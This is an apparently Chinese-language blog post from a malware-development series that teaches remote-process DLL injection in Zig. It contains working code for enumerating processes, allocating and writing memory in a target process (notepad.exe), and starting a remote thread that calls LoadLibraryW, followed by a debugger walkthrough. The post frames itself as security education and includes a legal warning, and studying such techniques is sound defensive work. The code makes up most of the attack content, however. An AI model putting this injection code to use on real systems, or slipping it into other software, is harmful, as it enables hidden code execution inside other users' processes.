Ayo 各位我又回來了。大家還記得我們在第 13 天的時候有介紹過如何在惡意程式本地執行 Payload 嗎(本地就是指在我們編寫的惡意程式的進程中執行)?那時候提到了兩種手法,使用 DLL 或是使用原始 Shellcode。
今天要講的內容也和第 13 天類似,只不過我們今天要做的是在遠端的進程執行。聽起來很酷吧,如果有興趣那就讓我們繼續看下去囉!
完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/DLL-Injection/dll_injection/
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
今天要實作的 DLL Injection,顧名思義就是要把 DLL 注入到某個進程之中。那由於我們要在遠端的進程中注入我們的惡意 DLL,我們勢必得先知道有哪些目標可以讓我們注入。
所以今天的第一步,就是要把目標機器上正在運行的進程給枚舉(Enumerate)出來,以更好的了解可以注入的目標進程。還記得我們先前要獲取進程的句柄的時候會需要使用到 PID(Process ID),這會是枚舉過程中很重要的一個資訊。
在這過程中,我們將會使用到 CreateToolhelp32Snapshot
這個 Windows API。我們先來看一下它的定義。
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
在這邊,我們第一個參數會傳入 TH32CS_SNAPPROCESS
標誌來指定要拍攝系統上所有運行中的進程的快照,也因此第二個參數傳入 null
讓其忽略。然後依然記得要釋放掉使用完畢的句柄。
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
return error.SnapshotFailed;
}
defer _ = CloseHandle(snapshot);
在我們拍照完之後,我們就可以使用 Process32First
這個 Windows API 來獲取快照裡面的第一個進程的資訊。接著,對於其他剩下的進程我們就可以使用 Process32Next
來迭代下一個進程。
微軟官方的文檔指出,Process32First
和 Process32Next
都需要傳入一個 PROCESSENTRY32
結構當作第二個參數。在把這個結構傳進去之後,這兩個函數會使用進程的資料填充該結構。我們來看一下官方文檔,看看這個結構是長什麼樣子。
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // The PID
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID; // PID of the parent process
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // Name of the executable file for the process
} PROCESSENTRY32;
在等到 Process32First
或 Process32Next
把結構填充完後,我們就可以用 .
操作符從結構中把其中的成員提取出來。像是要提取 PID 就可以使用 PROCESSENTRY32.th32ProcessID
。
為了找到我們目標的進程,我們可以寫一個迴圈,逐個比對每個當前獲取到的進程名稱與目標的進程名稱。如果不匹配,則使用 Process32Next
查看下一個進程;相反的,如果匹配,則儲存它的 PID 並獲取該進程的句柄。
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var exe_name_len: usize = 0;
while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
exe_name_len += 1;
}
const exe_name = process_entry.szExeFile[0..exe_name_len];
if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
print("[+] DONE \n", .{});
print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
return process_entry.th32ProcessID;
}
if (Process32NextW(snapshot, &process_entry) == 0) {
break;
}
}
至此,我們就完成了第一步驟:枚舉當前進程。如果想看另一個枚舉進程的範例程式碼,可以看看微軟官方實作 C++ 寫的程式碼。
對了,上面使用的 compareWideStringsIgnoreCase
是我自己定義的函數,目的是為了在進程的匹配中忽略大小寫,以達到更準確的結果。舉例而言,Process1337.exe
和 process1337.exe
將會被視為相同的進程。而它的定義如下。
// Compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
return windows.eqlIgnoreCaseWTF16(str1, str2);
}
我們到這邊已經獲取到了我們指定的目標的進程句柄,下一步就是要把 DLL 注入到目標進程。以下是我們會需要用到的新的 Windows API。
VirtualAllocEx
VirtualAlloc
,但是運許在遠端進程中進行記憶體分配WriteProcessMemory
CreateRemoteThread
我們一開始會先使用 GetModuleHandle
去獲取 kernel32.dll
的句柄,接著再使用 GetProcAddress
把 LoadLibraryW
這個函數給載入進來。LoadLibraryW
是用來在呼叫它的程式裡面載入 DLL 的,但由於我們的目標是要在遠端的進程中載入 DLL,而非本地進程,所以我們不能直接呼叫它。我們應該要做的是要獲取到 LoadLibraryW
的地址並傳遞給遠端進程中創建的線程,並將 DLL 名稱作為其參數。還記得在第 13 天的時候我們有討論過 kernel32.dll
是採用系統層級的 DLL 基址,所以我們可以確保 LoadLibraryW
的地址在遠端進程和本地進程是相同的。
const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse {
print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse {
print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
而這個 p_load_library_w
將會被用於我們在遠端進程創建新的線程的時候的線程入口點。
我們的下一步是要為遠端進程中分配足夠存放我們 DLL 名稱的記憶體,我們將會使用 VirtualAllocEx
在遠端進程中分配記憶體。
// Allocate memory in the remote process
const p_address = VirtualAllocEx(
h_process,
null,
dw_size_to_write,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
) orelse {
print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
在我們成功的分配完記憶體後,我們可以使用 WriteProcessMemory
去把資料寫進我們剛剛分配的緩衝區內,把 DLL 的名稱寫進去。我們來看一下微軟文檔,WriteProcessMemory
的函數定義如下。
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // A handle to the process whose memory to be written to
[in] LPVOID lpBaseAddress, // Base address in the specified process to which data is written
[in] LPCVOID lpBuffer, // A pointer to the buffer that contains data to be written to 'lpBaseAddress'
[in] SIZE_T nSize, // The number of bytes to be written to the specified process.
[out] SIZE_T *lpNumberOfBytesWritten // A pointer to a 'SIZE_T' variable that receives the number of bytes actually written
);
但由於最後面的兩個參數比較不是那麼重要,一來是 nSize
可以透過 lpBuffer
的長度取得,二來是 *lpNumberOfBytesWritten
可以直接被當成回傳值傳回,所以 Zig 有幫我們包裝了更符合 Zig 風格的 WriteProcessMemory
。如果想看詳細的內容可以參考這個官方文檔。
const write_result = WriteProcessMemory(
h_process,
p_address,
bytes,
) catch {
print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
if (write_result != dw_size_to_write) {
print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result });
return 0;
}
在我們把 DLL 的路徑寫進剛分配的記憶體當中後,就可以使用 CreateRemoteThread
來在遠端進程中創立一個新的線程。這時候就會需要 LoadLibraryW
的地址了,把它的地址作為該線程的入口點,並將含有 DLL 名稱的 p_address
作為引數傳遞給 LoadLibraryW
。具體做法是把 p_address
傳入 CreateRemoteThread
的 lpParameter
參數,讓遠端線程啟動的時候以 LoadLibraryW(p_address)
的形式執行。
// Create a remote thread to execute LoadLibraryW with our DLL path
h_thread = CreateRemoteThread(
h_process,
null,
0,
@ptrCast(p_load_library_w),
p_address,
0,
null,
) orelse {
print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
最後我們會使用前幾天介紹過的 WaitForSingleObject
去等待我們剛建立的遠端線程執行完畢。
windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch {
print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
};
在這個範例中,我們把目標進程設置為 notepad.exe
,所以我們會把我們的 DLL 注入到它的進程中裡面。首先,我們會接收兩個命令行參數,分別是 DLL 的完整路徑和目標進程名稱。然後我們這邊的 DLL 就採用前幾天寫的那個 MessageBox 的來作為範例。
我們可以用 System Informer 來查看 notepad.exe
的 PID 是否真的為 30760。
接下來,使用 x64dbg 並 Attach 到目標進程上(Notepad),並檢查我們所分配的記憶體位址。
下一步,我們寫入記憶體。
最後一步,建立遠端線程並執行!
我們可以使用 System Informer 的 Modules 這個欄位來查看是否真的有注入到目標進程,在此例中為 Notepad。
並且我們可以通過 Threads 這個欄位查看到我們剛剛建立的線程。
好囉,今天就先到這邊!感謝各位的閱讀。
明天應該會來介紹一下其他進程枚舉的手法或是其他的酷酷的 Injection。但也還不確定,我再思考一下順序。
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!